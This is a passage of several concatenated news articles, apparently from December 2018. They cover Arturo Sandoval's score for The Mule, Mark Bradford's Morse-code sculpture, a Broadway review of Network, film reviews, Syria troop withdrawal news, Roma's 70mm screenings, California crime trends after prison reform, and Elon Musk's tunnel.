love it more than anything else within music even more than playing gigs. And I pray to God that I could have a lot more chances. Arturo Sandoval (Jeremy Lock) I love it more than anything else within music even more than playing gigs. And I pray to God that I could have a lot more chances. Jazz trumpeter Arturo Sandoval on his recent work as a film composer Eastwood is an avowed jazz fan and had seen Sandoval perform in clubs over the years. But he didnt want a jazz score for The Mule, a movie about a nonagenarian who becomes a cartel drug runner. In fact, he didnt want much music at all in line with his sparsely scored body of films, many of which he co-scored himself. The theme that plays during the main titles is a bittersweet melody for Sandovals trumpet over delicate string and piano chords. He dont want to give away, in the very beginning, all the drama and all the problem that come afterward, the composer said, explaining Eastwoods directive. Its kind of a neutral feeling. The rest of Sandovals brief score less than 20 minutes total is mostly devoted to the regret that Eastwoods character, Earl Stone, feels toward the family he neglected. A slow, noir-like theme for muted trumpet fit the bill. Sandoval also wrote two dance songs for a pool party scene at the Mexican mansion of a drug lord (played by Garcia) as well as a mariachi song that plays on a car radio. Sandoval wrote the lyrics, sang and played every instrument on the latter. Sandoval played all of the trumpet parts for the Mule score, which was recorded at where else? the Eastwood Scoring Stage at Warner Bros., with an 82-piece orchestra and a 20-piece big band. He also played most of the piano and some of the French horn, trombone and percussion, and he conducted an orchestra for the first time. The beginning, I was kind of nervous, he said. But after three or four minutes of doing it, man, I start to feel a lot more relaxed and confident. Dianne Wiest and Clint Eastwood in a scene from The Mule. (Claire Folger / Warner Bros. Pictures) Some critics have been troubled by the films characterization of Latinos, who are almost uniformly presented as drug dealers and criminals, as well as Eastwoods breezily racist character. Sandoval agreed that films in general need to do a better job of presenting good and bad portraits of ethnic groups, but he isnt bothered by the politically incorrect protagonist of The Mule. You cannot relate that behavior and those lines with the movie itself, or with Clint, he said, citing online footage of the arrest of the man who inspired the story, Leo Sharp. You have to put it in context, and think about that old man that was his mentality. That was the way he talked, and the way he thought. Sandoval will help to usher in the holidays at the Walt Disney Concert Hall on Friday in a concert of Latin-flavored yuletide music with his big band and the Notre Dame Childrens Choir. He said he might end the show with one of the songs he wrote for The Mule. Next year marks the 30th anniversary of Sandovals flight from Cuba. He sought political asylum in the U.S., and he doesnt think he would be allowed to go back even if he wanted to. I have no interest, he said bluntly. I dont want to see the situation thats going on there. I dont want to suffer that horrible thing, to see my country completely destroyed. Because the situation in the country is getting worse by the minute. People are completely desperate, people are hopeless. Nobody sees the light at the end of the tunnel, because they cannot even see the tunnel. Sandoval said its almost as if his life didnt begin until age 40, when he arrived in America. This is where he raised his family, and its the land of opportunity. I have no words to express my gratitude for everything that happened to us in the U.S., he said. Its more than a dream. Swinging Christmas With the Arturo Sandoval Big Band Where: Walt Disney Concert Hall, 111 S. Grand Ave., L.A. When: 8 p.m. Friday Tickets: $39-$100 Information: (213) 850-2000, laphil.com See all of our latest arts news and reviews at latimes.com/arts. Mark Bradfords newly installed sculpture at UC San Diego can be seen for miles from cars on Interstate 5 and the streets of La Jolla, from dorm rooms on campus as well as from the chancellors house, where confused dinner guests have asked, just what is that blinking light? The question endures for all who see it, even after the light source is identified as the 20th work in the universitys Stuart Collection of site-specific art. Erected in October and dedicated this month, Bradfords piece is a 196-foot galvanized steel pole topped with a 4-foot LED, flashing day and night. Is it a beacon? Or a warning? The blinking lights spell out in Morse code the works title, What Hath God Wrought, the first words sent over the nations initial stretch of telegraph line in 1844. The phrase derives from the Book of Numbers, where it serves as a vaguely celebratory exclamation. When used today, the inference is typically bleak. Advertisement For Bradford, the meaning of the signal has shifted over time. He conceived of the piece in 2014 as a prompt to ponder the global, dematerialized communication network launched by Samuel B. Morses momentous act, to contribute to the whole conversation about privacy and censorship, and who gets to be in charge of information. Rising several years later, smack in the middle of the Trump presidency, the piece embodies a new sort of disquiet for the artist. Its a cry of rage, he said. When I look at it now, it pulsates with a sense of emergency, he adds. It says, Help us. It feels more like an SOS. Mark Bradfords new sculpture rises as high as FAA regulations will allow. (K.C. Alfred / San Diego Union-Tribune) No, honey. This isnt the airport. Artist Mark Bradford, answering a question on whether the light on his new sculpture would change over time. Mary Beebe, director of the Stuart Collection, reached out to Bradford in 1995, but he wasnt interested then in making a permanent public work. He was in the middle of his studies at the California Institute of the Arts, where he earned bachelors and masters degrees. The L.A. native has since achieved international attention for his layered, rigorously carved and sanded collage paintings, made first with end papers from his mothers hair salon and subsequently with advertising posters from the street. In 2009, he was named a MacArthur fellow. In 2013, when he finally accepted Beebes invitation, he was at work on a permanent installation for the Tom Bradley International Terminal at LAX that he completed in 2015. Around the same time, he co-founded Art + Practice, a foundation in Leimert Park offering exhibitions, public programs and social services, particularly to foster youth. Last year, he represented the United States at the Venice Biennale. What Hath God Wrought takes note of one beginning and is located on the spot of another. A plaque at the base of the pole commemorates the site where UC San Diego was dedicated in 1961. Nearby is an oak tree planted by the Revelle College charter freshman class in 1964, a flagpole (which suddenly resembles a toothpick in relation to Bradfords piece) dedicated by college Republicans in 1967, and a bench in honor of student activists of 1970. The new sculpture takes its place among these memorials and inserts itself into the current dialogue around historical figures and monuments. Regarding what Morse hath wrought, Bradford said, Im asking us, is this heroic? Like many pieces in the Stuart Collection including works by Bruce Nauman, Alexis Smith, Do Ho Suh, Robert Irwin, Kiki Smith and Jenny Holzer What Hath God Wrought is well-integrated into the campus but also something of a physical and psychic disruption. The conspicuous girth of the pole at ground level (about 3 feet in diameter), the extremity of its height (as high as it could go per FAA regulations), the intensity of the blinking light and the message it spells are all insistent and inescapable. On the night the piece was dedicated, a woman attending Bradfords presentation asked whether the flashing message would change. No, honey, Bradford shot back. This isnt the airport. A young man, ostensibly a student housed close enough to be bothered by the light, suggested he turn down the brightness. Earlier in the vetting process, a professor took issue with the use of the word God. None of the pushback surprised or troubled Beebe. Objections have been raised since the installation of the collections first piece, Niki de Saint Phalles Sun God (1983), which is now a beloved campus landmark. You always think about repercussions, she said by phone the morning after the dedication, but were not timid, the Stuart Collection, or we wouldnt do anything. People adjust. Were not decorating the campus, were providing experiences that people can engage or not. The Bradford is a bit in your face, but he wanted it to have that urgency. MORE ART: John Luther Adams addition to UCSDs Stuart Collection Do Ho Suhs Fallen Star is nauseating in a good way Best art 2018: Times critic Christopher Knights list See all of our latest arts news and reviews at latimes.com/arts. Two thoughts occurred to me at the end of Ivo van Hoves stage production of Network: Bryan Cranston is one of the most fearless actors working today, and Paddy Chayefsky attained a kind of prophecy when he wrote the screenplay for the 1976 Sidney Lumet film that saw straight through its own media age into ours. Weve all known how good Cranston is from his work on Breaking Bad, the cable drama that set a standard this new proliferous streaming era has had difficulty matching. Ballyhooed as he was for his performance as Walter White, the terminally ill chemistry teacher turned meth dealer, Cranston could have counted his Emmys and played it safe. Instead, he took to the stage in a tour de force of ferocious politicking as Lyndon B. Johnson in Robert Schenkkans All the Way. While a lesser actor may have been content to return to Hollywood twirling his Tony Award, Cranston found time amid his many film projects to take an even bolder theatrical risk. He decamped to London to join Van Hove, perhaps the most in-demand European theater auteur working today, on a stage version of Network, adapted by Lee Hall (War Horse, Billy Elliot) at the National Theatre. The kind of acting Van Hove demands from his cast members is far removed from anything found in movies or television. Although his productions can devastate with their emotional precision, the performances are theatrically heightened and physically intrepid. Actors must feel free with their entire bodies, for they are unleashed onto the stage as though shot through a cannon. Advertisement Cranston already proved in All the Way that he was capable of more than realism from the neck up. He attacked the part of LBJ the way LBJ attacked the problem of obtaining votes for congressional passage of the Civil Rights Act of 1964: wheedling, threatening, sweet-talking and collaring all in thunderous theatrical motion. Network begins with Cranstons character, veteran news anchor Howard Beale, about to deliver the nightly news. A swirl of frenzied preparation leads to his on-camera greeting: Good evening. It is Friday, September the 19th 1975, and I am Howard Beale. Today reaction to the capture of Patty Hearst The production mediates the theatrical experience through screens: Cameras rotate and close-ups divert us from the performers to the transmitted images. A war, in effect, is being waged at the Belasco Theatre between theater and technology. Even those audience members who have shelled out big dollars to experience the show from the stage while enjoying a meal at one of the cafe tables or sipping a drink at the makeshift bar must rely on screens to navigate their way through the drama. Proximity doesnt buy a privileged vantage in a production that deconstructs the viewing experience. The discrepancy between what happens on stage and its presentation on screen forces us to question the nature of reality itself when so much of collective life is being processed by forces that care more about numbers (i.e., money) than truth. Howard is told after the evening broadcast that his numbers just arent cutting it anymore and that his days as an anchor are coming to a close. He threatens to kill himself on the air to his old buddy Max (an elegantly game Tony Goldwyn), who runs the news division at the network. But all Max can offer his friend is ironic comfort: Youll get a hell of a rating, Ill tell you that. A 50 share. Easy. Howard takes Max seriously. When he announces to his viewers during his next broadcast that he will soon be replaced, he finds a way to ensure that his audience will grow: He promises to kill himself on the air next Tuesday. (The advance notice, he later explains to his producers, will give them more time to promote the show.) Tony Goldwyn and Tatiana Maslany in Network at the Belaco Theatre in New York. (Jan Versweyveld) Our lives have been hijacked by corporate overlords who brainwashed us into confusing our real lives with what appears on our screens. Everyone in the news division is up in arms at Howards crazy antics, but Diana Christensen (Tatiana Maslany), the head of programming charged with taking over the news, recognizes a gold mine when she sees one. The media becomes fixated on Howard, whose audience rapidly expands as he departs from the scripted news to deliver commentary that for Diana can be easily packaged as a latter-day prophet, a magnificent messianic figure, inveighing against the hypocrites of our time. Peter Finch, who was awarded a posthumous Oscar for playing Howard in the film, left an indelible impression as the unraveling news anchor commanding his viewers to open their windows and shout, Im mad as hell and Im not going to take this anymore. Cranston wisely doesnt try to duplicate this masterly cinematic performance. Instead, he approaches the role from a uniquely theatrical standpoint. The story of Howard Beale is grippingly conveyed through the manner of the characters stage presentation. At the start, Cranstons Howard has the tight-jawed speech pattern of a newscaster determined to convey gravitas. Cranston could easily have given us his best Walter Cronkite, but the exaggerated artificiality of his delivery is a crucial note in a performance that flays all the fakery from the character until by the end Howard is talking directly to us in utter despair over how our lives have been hijacked by corporate overlords who brainwashed us into confusing our real lives with what appears on our screens. Tottering in a raincoat as his mind unspools and his ratings explode, Cranstons Howard has the look of tortured bafflement of a New York King Lear and indeed the performance raises the hope that one day Cranston will attempt this mightiest of Shakespearean roles. The power of Cranstons portrayal seems fueled by the urgency of Chayefskys message. Television may have lost its cultural monopoly, but Silicon Valley has swooped in to extend the mind control by enslaving us to our devices. Cranston as Howard Beale, in meltdown mode. (Jan Versweyveld) I was stunned to see how many of the most resonant lines in the adaption come directly from the film. The medium changes, but the manipulation stays the same. I had assumed that Hall must have updated the script to reflect on the new multinational dominion of dollars, in which all men will work to serve a common profit. (These ideas, about the never-ending competition with Russian and Arab oligarchical interests, are fed to Howard by network chief Arthur Jensen, whos played here by Nick Wyman with the voice and demeanor of a hallucinated Zeus.) But after referring back to the screenplay I was stunned to see how many of the most resonant lines in the adaption come directly from the film. The medium changes but the manipulation stays the same. The scenic and lighting design by the directors partner, Jan Versweyveld, turns the stage into a television set with a (metaphorically apt) glassed-in control booth. Tal Yardens video design grounds us in the tumultuous, recessionary 1970s, but the kaleidoscope of corrupt politicians, commercial advertising and terrorist fury permits us the double reality of believing that the story is taking place now. The production falls short of Van Hove at his best. Some of the directorial flourishes seem derivative of his earlier work. This is the Belgian-born, Amsterdam-based auteurs third production on Broadway (he won a 2016 Tony for his direction of A View From the Bridge, which came to the Ahmanson Theatre). Its thrilling to encounter his aesthetic on such grand stages, but the commercial pressures are having a subtle yet noticeable effect. The company hasnt yet completely jelled. Unlike the ensemble members at the Toneelgroep Amsterdam (now the Internationaal Theater Amsterdam), where Van Hove is artistic director, the actors are thrown together. The intensity of some of the performers is off by a few degrees. Not everyone seems to have the same conviction in the ratcheted-up theatrical style. Where this matters most in Maslanys portrayal of Diana may well be unavoidable. The simple fact is that Faye Dunaway already delivered an unbeatable Van Hovian performance in her Oscar-winning portrayal of a character who is the personification of the television industry itself. Maslany, the acclaimed star of the series Orphan Black, brings a robust naturalism but lacks the toppling neurotic ambition that drives Diana to program the unthinkable. I kept fantasizing about a stage production of Network that could combine Cranstons blistering performance today with Dunaways vertiginous performance of yesterday. Such a pairing would have given even Howard Beales apocalypse act a run for its ratings money. But Cranston communicates at towering strength everything that must have compelled Van Hove and Hall to brings Chayefskys screenplay to the stage. Its one of two unmissable performances by a lead actor this season on Broadway the other being Jeff Daniels as Atticus Finch in Aaron Sorkins adaptation of To Kill a Mockingbird. Broadways award season hasnt even begun and already Im wondering how they might find a way to share the Tony Award spoils this spring. MORE THEATER: Best theater 2018: Our critics list Taylor Macs Holiday Sauce, a madcap brew, extra spicy How much Cher is too much Cher? A Broadway musical answers charles.mcnulty@latimes.com Follow me @charlesmcnulty Move over, Barack and Oprah. Balenciaga is the latest star of Michelle Obamas Becoming book tour. The former first lady closed out her current book tour on Wednesday in a scene-stealing look, shutting it down when she first walked on stage at Barclays Center in Brooklyn wearing head-to-toe Balenciaga: a canary yellow wrap dress coupled with sparkling thigh-high boots. And the internet went wild. When I die, please project these blessed images of Michelle Obama's boots on my tombstone pic.twitter.com/hoGRqcj77m Andrea Gonzalez-Ramirez (@andreagonram) December 20, 2018 Nobody talk to me about anything except Michelle Obamas boots for the rest of the year. pic.twitter.com/ifRC8VwEPE Maddie Kriger (@MaddieKriger) December 20, 2018 Advertisement Good morning exclusively to Michelle Obama in head-to-toe Balenciaga, including THIGH HIGH SPARKLING BOOTS on her last stop of the Becoming tour at the Barclay Center.https://t.co/up27V64P1m R. Eric Thomas (@oureric) December 20, 2018 The over-the-knee Knife boots, crafted from sequined stretch fabric, hail from the Spanish fashion houses spring/summer 2018 collection and retail at $3,900. Obama was always fashion forward as a first lady, and nows she serving one impressive look after another during her book tour. Even the shoe-loving Sex and the City veteran Sarah Jessica Parker, who was herself sparkling in a sequin sheath dress, was in awe at Wednesdays event. Wednesdays stop ended the first leg of Obamas Becoming: An Intimate Conversation With Michelle Obama promoting her deeply personal memoir about her childhood, law career and years in the White House. Released in November, Becoming sold more than 725,000 copies on its first day of sale and has sold more than 3 million copies in all formats, according to its publisher, Crown. Its hardcover edition became the top-selling hardcover book of the year. Sarah Jessica Parker, left, greets Michelle Obama at Barclays Center in Brooklyn on Wednesday. (Dia Dipasupil / Getty Images) You gave us so much to talk about, said Parker, who was serving as moderator at the event, and I kept telling everybody about this book. She has taken the genre and she has turned it inside out and upside down. And its illuminating and inspiring and its just a massive, massive triumph. That comment easily could have applied to FLOTUS footwear, too. Obamas book tour has included A-list guest moderators, including Oprah Winfrey, actress Tracee Ellis Ross and former White House aide Valerie Jarrett. Barack Obama even made a surprise appearance at his wifes Washington, D.C., stop. (Meanwhile, the former president was busy on Wednesday handing out toys at a childrens hospital in D.C.) Obamas 10-stop stadium book tour was such a success that she announced earlier this month that its extended through 2019, with stops planned in Copenhagen, Amsterdam, Stockholm, Atlanta and Austin, Texas, among others. The final event will be held in Nashville on May 12. Follow me: @NardineSaad Though its directed by former James Cameron associate Steven Quale, and co-produced and co-written by Luc Besson, the action-adventure American Renegades accomplishes the impossible: It makes a story about sunken Nazi gold boring. The film boasts expensive, state-of-the-art special effects sequences, but fills the rest of its running time with off-the-shelf heroes and dialogue. Theres exactly one memorable character in American Renegades. J.K. Simmons pops up in about a half-dozen scenes as Gen. Levin, a made-for-the-movies military officer, who snaps at his men when they defy orders but not-so-secretly admires their chutzpah. The guys on Levins special operations force never develop much personality, even as they swagger through a gutsy off-the-books mission. When team leader Matt Barnes (Sullivan Stapleton) and his right-hand man Stanton Baker (Charlie Bewley) learn from the latters Serbian girlfriend, Lara (Sylvia Hoeks), about $300 million worth of ingots stuck in a flooded Bosnian town, they decide to liberate the treasure, to help the locals. Set in the mid-90s, American Renegades feels like a dusty relic of the past and not just because the film wrapped production a few years ago. Quale and his crew clearly want this to be a good old-fashioned two-fisted caper, but the pacing is leaden and the plot lacks imagination. Worst of all, nobody really bothered to give the picture an angle. Its all straight, flat and dull. Advertisement ------------ American Renegades Rating: PG-13, for violence, brief sexuality and language Running time: 1 hour, 45 minutes Playing: Arena Cinelounge, Hollywood See the most-read stories in Entertainment this hour Movie Trailers calendar@latimes.com @LATimesMovies Like any good hoofer, the South Korean musical Swing Kids is eager to please, relying on both subtly graceful moves and aggressive razzle-dazzle. Though a bit longer than necessary, the movie tells an engaging, enjoyable story, peppered with impressive dance numbers. Swing Kids stars K-pop idol Do Kyung-soo (a.k.a. D.O.) as Ro Ki-soo, a North Korean POW in a camp populated by fiery radicals, guarded by bigoted American soldiers. Jared Grimes plays Jackson, a black G.I. who in the States was an aspiring Broadway dancer, but struggled to find work because of his race. When Jackson gets assigned to teach a handful of Korean War prisoners to tap for a Christmas party (to impress the visiting international press), hes drawn to Ki-soo, who shows impressive moves doing traditional Russian marches. What Jackson doesnt know is that his new student has been drafted by his Communist superiors to assassinate one of the top American brass. Writer-director Kang Hyeong-cheol knows how to hold a viewers attention, having made two of the highest-grossing Korean films of all time. Here, he balances political intrigue with heartwarming scenes of bonding over dance; and he guides it all to an emotional ending. Advertisement Its those big musical sequences thatll have audiences skipping out of the theater. Whatever their ideological differences, whenever the characters are anachronistically zooming around to David Bowies Modern Love or stomping onstage to Benny Goodmans Sing Sing Sing, their enthusiasm is infectious. ------------ Swing Kids In Korean with English subtitles Not rated Running time: 2 hours, 13 minutes Playing: CGV Cinemas, Los Angeles; CGV Cinemas, Buena Park See the most-read stories in Entertainment this hour Movie Trailers calendar@latimes.com @LATimesMovies DAMASCUS, Dec. 19 (Xinhua) -- The U.S. decision to withdraw forces from eastern Euphrates in Syria has shocked the Kurdish-led Syrian Democratic Forces (SDF), a war monitor reported Wednesday. The U.S.-backed SDF militia was informed that the U.S. forces will withdraw from eastern Euphrates River in northeastern Syria and from the city of Manbij in the northern countryside of Aleppo near Turkey, the Syrian Observatory for Human Rights cited "trustworthy" sources as saying. The U.S. desicion came as Turkey is planning to renew a military campaign against the Kurdish militia in eastern Euphrates, which has been relying on Washington in its operations against Islamic State (IS) militants in the last IS-held pocket in eastern Euphrates, the Observatory said. Kurdish leaders said if the United States pulled out from the region, it would be a stab in the back for the Kurdish groups, according to the London-based watchdog. A day earlier, the Observatory said military movements were seen from both Turkish and Kurdish forces on the border between Turkey and Syria. In his remarks on Wednesday, Turkish President Recep Tayyip Erdogan reaffirmed Turkey's "decision to wipe out terror groups in the east of Euphrates." "We will start the operation to clear the east of the Euphrates from separatist terrorists in a few days," Erdogan said, referring to territory held by the Kurdish militias. The Kurdish self-administration in northern Syria issued a statement last week, calling for mass mobilization in areas under its control and urged the Syrian government to take a stance against the remarks of Erdogan. Netflix has locked in the theaters for the large-format version of Alfonso Cuarons Roma, shot on 70mm film. The special screenings will take place in Los Angeles at the Egyptian Theatre in Hollywood on Jan. 10-11. The special version will also be shown in San Francisco, Chicago, New York City, Hartford, Conn., and Austin, Texas. (Those dates are listed below.) The black-and-white film based on the Oscar-winning directors childhood in Mexico City is currently available on Netflix. The new, special screenings are in addition to the theatrical engagements the streaming giant launched last month, Netflix said Thursday. The large-format release had been long planned. Were excited to make this cinematic experience possible as another part of the release of this special film, Scott Stuber, head of Netflixs film group, said in the statement. With our theatrical engagements in over 700 theaters worldwide and release on Netflix, Roma is now available to millions of people all over the world. Advertisement Cuaron, who directed the film, also served as its cinematographer and editor, making him a front-runner this awards season. The movie has been generating buzz since it debuted at the Venice Film Festival and garnered the Golden Lion award for best picture. Roma is designed to be meaningful whether experienced at home or on the big screen, but offering cinema lovers the opportunity to see it in theaters is incredibly important to me, Cuaron said in the same statement. The 70mm print of Roma shows unique details not available on any other version. Being shot in 65mm, these prints bring live detail and contrast only possible using a big format film. It is for sure the most organic way to experience Roma. According to Netflix, a 70mm film is actually shot on a 65mm negative in camera, but exhibited on 70mm print. The higher-resolution format is twice the size of standard 35mm and has an inherently widescreen aspect ratio. Cuaron shot Roma on the Alexa65 digital camera, mastering at 4K resolution. FotoKem, the only remaining 70mm print lab worldwide, handled the transfer from digital to film, as well as the production of 70mm film prints. Below are the theaters and dates showing the 70mm version: Los Angeles: The Egyptian Theatre, Jan. 10-11 The Egyptian Theatre, Jan. 10-11 San Francisco: The Castro, Jan. 2-5; Alamo Drafthouse, Jan. 12-14 The Castro, Jan. 2-5; Alamo Drafthouse, Jan. 12-14 Chicago: The Music Box, Jan. 9-13 The Music Box, Jan. 9-13 New York: Alamo Drafthouse Brooklyn, Jan.11-17 Alamo Drafthouse Brooklyn, Jan.11-17 Hartford, Conn. : Cinestudio, Jan. 23-26 Cinestudio, Jan. 23-26 Austin, Texas: Alamo Drafthouse Ritz, Dec. 26-Jan. 1 Alamo Drafthouse Ritz, Dec. 26-Jan. 1 Toronto: Bell TIFF Lightbox, through Dec. 20 Follow me: @NardineSaad Over the last decade, California has led the nation in reducing its prison population. The state has shortened sentences and diverted some offenders to the counties for incarceration and supervision, transforming Californias criminal justice system into what supporters hope will become a humane model around the country. But amid the changes, crime has increased in recent years, sparking debate about the causes and giving ammunition to those leading a new effort to roll back some of the reforms. An analysis by the Marshall Project and the Los Angeles Times found that Californias crime rates remain near historic lows, but overall crime spiked in both 2012 and 2015, the years that immediately followed two major statewide measures aimed at decreasing the number of people in prison. Those jumps were mainly driven by increases in property crimes, particularly thefts from motor vehicles. Advertisement After decades of mirroring national downward trends in violent crime, California saw a 12% increase from 2014 to 2017, while the violent crime rate in the other 49 states together increased only 3%, the analysis showed. In 2014, California voters approved a ballot measure that reduced sentences for many low-level drug and property crimes. (Los Angeles Times) (Los Angeles Times) Californias property crime rate fell slightly in the last two years, but remains 2% higher than it was in 2014. By contrast, the rate of property crimes in the rest of the nation has dropped by 10% over the same period. There is no simple explanation. Crime trends vary dramatically from county to county. Thirty-one of the states 58 counties saw an increase in violent crime last year, while 22 saw an increase in property crimes. The rest stayed flat or declined. What single factor can explain the fact that violent crime went up 6% last year in Los Angeles but fell 6% in Sacramento? Los Angeles police investigators work at the scene of a 2017 fatal shooting in Hollywood. (Irfan Khan / Los Angeles Times) There also have been large differences in the way counties spent the billions in state money allocated to implement the new measures. Some focused on building jails, others on recruiting and deploying police, and still others experimented with collaborative courts and reentry programs. To complicate matters, specific crimes come with their own caveats. Reports of rape have increased nationally since 2013, for example, but sexual assaults have traditionally been underreported, and part of the increase stems from the FBIs decision to broaden its definition of rape in 2013. (The Marshall Project and Times data analysis excluded rape.) Reports of aggravated assaults in California also have increased, but part of that increase is likely due to underreporting from 2005 to 2012 by the Los Angeles Police Department. Californias criminal reform revolution began in earnest in 2011 after the U.S. Supreme Court approved a cap on the number of inmates in prison. Lawmakers responded by passing Assembly Bill 109, known as realignment, which lowered the prison population by shifting the burden to the counties to house and supervise thousands of inmates convicted of crimes that the law categorized as nonviolent and nonserious. (Los Angeles Times) (Los Angeles Times) Three years later, California voters approved Proposition 47, which turned drug use and most theft convictions from felonies to misdemeanors. In 2016, voters overhauled the state parole system by backing Proposition 57, which gave thousands of inmates the chance to earn an earlier release from prison. The undeniable result of all these measures is that people are on the street today who would have been locked up in previous years. Critics of the reforms argue that they have created a permissive climate that makes policing harder and weakens the deterrent effect of a possible prison sentence. Assemblyman Jim Cooper (D-Elk Grove) has been a leading critic of Californias Proposition 47, which downgraded drug use and most theft convictions from felonies to misdemeanors. (Rich Pedroncelli / Associated Press) Theres no accountability, said Assemblyman Jim Cooper (D-Elk Grove). People know they can get away with things. Thats contributed to it. Thats really been a big source of frustration. No ones going to jail anymore. Cooper, a retired Sacramento County sheriffs captain, has been a leading voice in a coalition of prosecutors and law enforcement groups pushing back. A statewide initiative that will appear on the 2020 ballot would reverse some provisions of Proposition 47, toughen supervision of parolees and disqualify some prisoners from early release. Backers of the proposed rollback argue that the states drug courts, intended as an alternative to criminal courts, are seeing fewer people because prosecutors can no longer force someone into treatment with the threat of a felony. (Some counties, including San Diego, have reported decreases in drug court participation since Proposition 47, but no statewide figures are available.) Those who favor toughening the law also claim counties are struggling to supervise offenders with violent criminal records. Supporters of the prison downsizing measures dispute any link between the new laws and an increase in crime. They argue that using 2014 as a baseline the year with the fewest crimes reported in the state since the 1960s unfairly skews any analysis. To look at it from a year-to-year basis is very short-sighted, said Michael Romano, the director of the Three Strikes Project at Stanford Law School who helped write Proposition 47. We really have had a sustained downward trend over the past decade or two. He said its unlikely any single factor led to an increase in crime, but rather a combination of issues, such as poverty and unemployment, in different counties throughout the state. Inmates wait in line at Los Angeles Countys Mens Central Jail. (Maria Alejandra Cardona / Los Angeles Times) Californians for Safety and Justice, a group that co-authored Proposition 47, points out that several states saw larger increases in violent crime than California from 2016 to 2017. (An analysis by The Times and the Marshall Project found 20 states with larger increases in violent crime rates.) They note that none of the recent laws changed penalties for violent crimes. In 2013, the nonpartisan Public Policy Institute of California found that the first major prison downsizing law, realignment, had no effect on violent crime, but did lead to an increase in auto thefts. In 2016, a prestigious social science journal reached a similar conclusion. Under realignment, people convicted of auto theft, a nonviolent felony, usually serve shorter sentences in their local jails and are released under local supervision. Two studies published this summer one by a UC Irvine criminologist and another by the Public Policy Institute of California found no link between Proposition 47 and increases in violent crime. Both noted a possible link between the initiative and increases in larceny, particularly thefts from motor vehicles, although the Irvine study found those links too tenuous to conclude Proposition 47 was to blame. After national crime data for 2017 released this fall showed California departed from the national trend violent crime in California ticked up slightly while it fell slightly across the 49 other states taken together researchers said they planned to revisit the question of a link between Proposition 47 and violent crime. Californias robbery rate jumped 14% from 2014 to 2017; the rest of the country saw a 7% drop. It is troubling and deserves more attention, said Magnus Lofstrom, policy director of corrections at the Public Policy Institute of California. San Franciscos struggle with car break-ins illustrates the difficulty of trying to determine if the reforms are linked to changes in local crimes. Thefts from vehicles nearly tripled in the city from 2011 to 2017, when they hit 29,851. Concentrated tourist areas in San Francisco, such as the citys curvy Lombard Street, have seen a rise in car break-ins, which have nearly tripled from 2011 to 2017. (Mark Boster / Los Angeles Times) Weary residents have grown used to the feel of car window glass crunching underfoot. Bob Hinckley estimates he and his wife have seen dozens of break-ins since moving into a home about a year ago near the top of the citys famously curvy Lombard Street. Brazen thieves target unwitting tourists who leave valuables in plain view. He once saw a suspect drive up onto the sidewalk to avoid the police. Why do they come over here to break into cars? Because thats where the tourists are with their bags, Hinckley said. An analysis of break-ins confirmed that these thefts were concentrated near tourist hot spots a stretch of road near museums in Golden Gate Park, a viewpoint overlooking the Pacific Ocean, a street near the Palace of Fine Arts or in large, public parking garages. San Francisco police Lt. Michael Nevin, who until November oversaw car break-in investigations in a district that includes many of the tourist hot spots, said he had noticed a sharp spike before Proposition 47. Nevin said break-ins are often charged as auto burglary, which was not affected by the ballot measure. (Auto burglary can be charged as a misdemeanor or a felony.) He said the break-ins are typically committed by organized theft rings that work in groups of two or three. Asked whether new criminal justice measures have hampered his daily policing work, he said: Absolutely not. The break-ins have become a hot-button issue in San Francisco, particularly because Dist. Atty. George Gascon co-authored Proposition 47. In September, Suzy Loftus, a former prosecutor who now works as a lawyer for the San Francisco County Sheriffs Department, announced she would challenge Gascon with a focus on the car break-ins. Shortly after, Gascon announced he would not seek reelection. Loftus said she supports Proposition 47 and prison downsizing, but says the crime increase shows a failure by San Francisco leaders to adapt to needed criminal justice changes. Its easy to say the changes in our system are causing this. Its harder to say, Hey, we needed those changes, and weve got to work together better locally, she said. Another offense that has become central to the backlash against the new criminal justice measures is shoplifting. Proposition 47 raised the value of stolen goods necessary to charge a felony from $400 to $950. Retailers complained that organized theft rings were taking advantage of the reduced punishments to steal misdemeanor levels of merchandise. Its gotten far worse in the last few years there are no consequences, said Rudy Ruiz, owner of World 1-1 Games, a video game store in a mall about an hour north of Santa Barbara. Frustrated at how long it would take for police to respond, Ruiz said he began chasing shoplifters and posting their images on social media in an attempt to shame them. On one occasion, he caught a woman slipping an item into her baby stroller. Im not a million-dollar corporation, he said. If somebody steals $100, thats a lot for me. Shoplifting soared in many counties in 2015, with Los Angeles and San Bernardino seeing the most dramatic increases. But then it dropped statewide over the next two years, falling to its lowest level in a decade. To head off a frontal assault on Proposition 47, legislators created a new category of crime, organized retail theft. That new law, signed by Gov. Jerry Brown in September, allows prosecutors to charge shoplifting as a felony if two or more people act together to steal. The bills author, Assemblyman Reggie Jones-Sawyer (D-Los Angeles) said its aim was to crack down on organized shoplifting rings without retreating from the reforms or criminalizing people who are stealing because they are hungry, homeless or addicted. Assemblyman Cooper, the Proposition 47 critic, said it would do little to curb shoplifting because it places too high a burden on prosecutors to prove a conspiracy. In San Joaquin County, which has long had one of the states highest crimes rates, property crimes have fallen by 25% since 2011. In 2017, it saw the lowest number of shoplifting reports in 15 years. When Eric Jones, chief of police in Stockton, the San Joaquin County seat, first saw the local numbers drop, he worried fewer people were reporting crimes to police. The department double-checked the figures by looking at auto thefts a crime thats nearly always reported to verify their data. He said hed been skeptical when realignment and Proposition 47 went into effect. I was concerned when those passed about the impact those were going to have on my community, Jones said. Would crime go up? And its just not that simple. I mean, look at our county weve seen some success. This article was published in partnership with the Marshall Project, a nonprofit newsroom that reports on the criminal justice system. Sign up for their newsletter, or follow the Marshall Project on Facebook or Twitter. The Marshall Project receives funding from the California Endowment and other organizations that favor efforts to reform Californias criminal justice system. Under terms of its funding, the Marshall Project has sole editorial control of its news reporting. Billionaire entrepreneur Elon Musks plan to help drivers escape traffic by sending cars hurtling through dozens of skinny tunnels has caught the imagination of some Californians who are sick of gridlock but unwilling to give up their vehicles. But even if that could happen, does that mean it should? Thats the question lingering after Musks much-hyped presentation this week, where he unveiled his first tunnel, beneath the streets of Hawthorne. Before a crowd of investors, celebrities and Tesla owners on Tuesday night, Musk pitched his tunnel vision: building layers upon layers of one-way routes, each 12 feet in diameter, that would be reserved for autonomous electric vehicles to carry riders to their destinations. Diverting traffic underground could eventually free up space for more peaceful, pedestrian-oriented city streets, he said, with less concrete, more trees. Advertisement Musks proposal is, in some ways, a throwback to an earlier age, when officials believed that building more freeways and later, toll highways was the answer to Californias traffic problems. More recently, transportation officials have focused on mass transit, adding to Los Angeles Countys light-rail network, planning an expansion of the Bay Areas heavy-rail system and getting the states high-speed rail line off the ground. Los Angeles famously fell in love with the car, and the environmental, economic and social costs are staggering, said Rick Cole, Santa Monicas 